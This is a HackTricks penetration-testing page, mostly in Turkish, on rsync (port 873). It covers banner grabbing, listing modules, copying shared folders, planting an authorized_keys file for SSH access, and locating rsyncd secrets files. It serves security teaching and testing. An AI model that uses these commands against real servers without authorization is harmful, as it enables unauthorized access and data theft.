hacktricks/network-services-pentesting/873-pentesting-rsync.md

6.8 KiB
Raw Permalink Blame History

873 - Pentesting Rsync

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Temel Bilgiler

From wikipedia:

rsync, bir bilgisayar ile harici bir sabit disk arasında ve bilgisayarları arasında dosyaları verimli bir şekilde aktarmak ve senkronize etmek için bir yardımcı programdır; dosyaların değiştirilme zamanlarını ve boyutlarını karşılaştırarak çalışır.[3] Genellikle Unix benzeri işletim sistemlerinde bulunur. Rsync algoritması, delta kodlama türüdür ve ağ kullanımını minimize etmek için kullanılır. Zlib ek veri sıkıştırması için kullanılabilir,[3] ve SSH veya stunnel güvenlik için kullanılabilir.

Varsayılan port: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumeration

Banner & Manuel iletişim

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Paylaşılan Klasörleri Sayma

Rsync modülleri, şifrelerle korunabilecek dizin paylaşımları olarak tanınır. Mevcut modülleri belirlemek ve şifre gerektirip gerektirmediğini kontrol etmek için aşağıdaki komutlar kullanılır:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Dikkat edin ki bazı paylaşımlar listede görünmeyebilir, bu da onları gizleyebilir. Ayrıca, bazı paylaşımlara erişim belirli kimlik bilgileri ile kısıtlanmış olabilir, bu da "Erişim Reddedildi" mesajı ile belirtilir.

Brute Force

Manuel Rsync Kullanımı

Bir modül listesi elde edildikten sonra, eylemler kimlik doğrulamanın gerekip gerekmediğine bağlıdır. Kimlik doğrulama olmadan, bir paylaşılan klasörden yerel bir dizine listeleme ve kopyalama işlemi şu şekilde gerçekleştirilir:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Bu işlem dosyaları özyinelemeli olarak aktarır, niteliklerini ve izinlerini korur.

Kimlik bilgileri ile, paylaşılan bir klasörden listeleme ve indirme aşağıdaki gibi yapılabilir; burada bir şifre istemi görünecektir:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

To upload content, such as an authorized_keys file for access, use:
İçerik yüklemek için, erişim için bir authorized_keys dosyası gibi, şunu kullanın:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Bu dosya içinde, bir secrets file parametresi rsyncd kimlik doğrulaması için kullanıcı adları ve şifreler içeren bir dosyaya işaret edebilir.

Referanslar

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}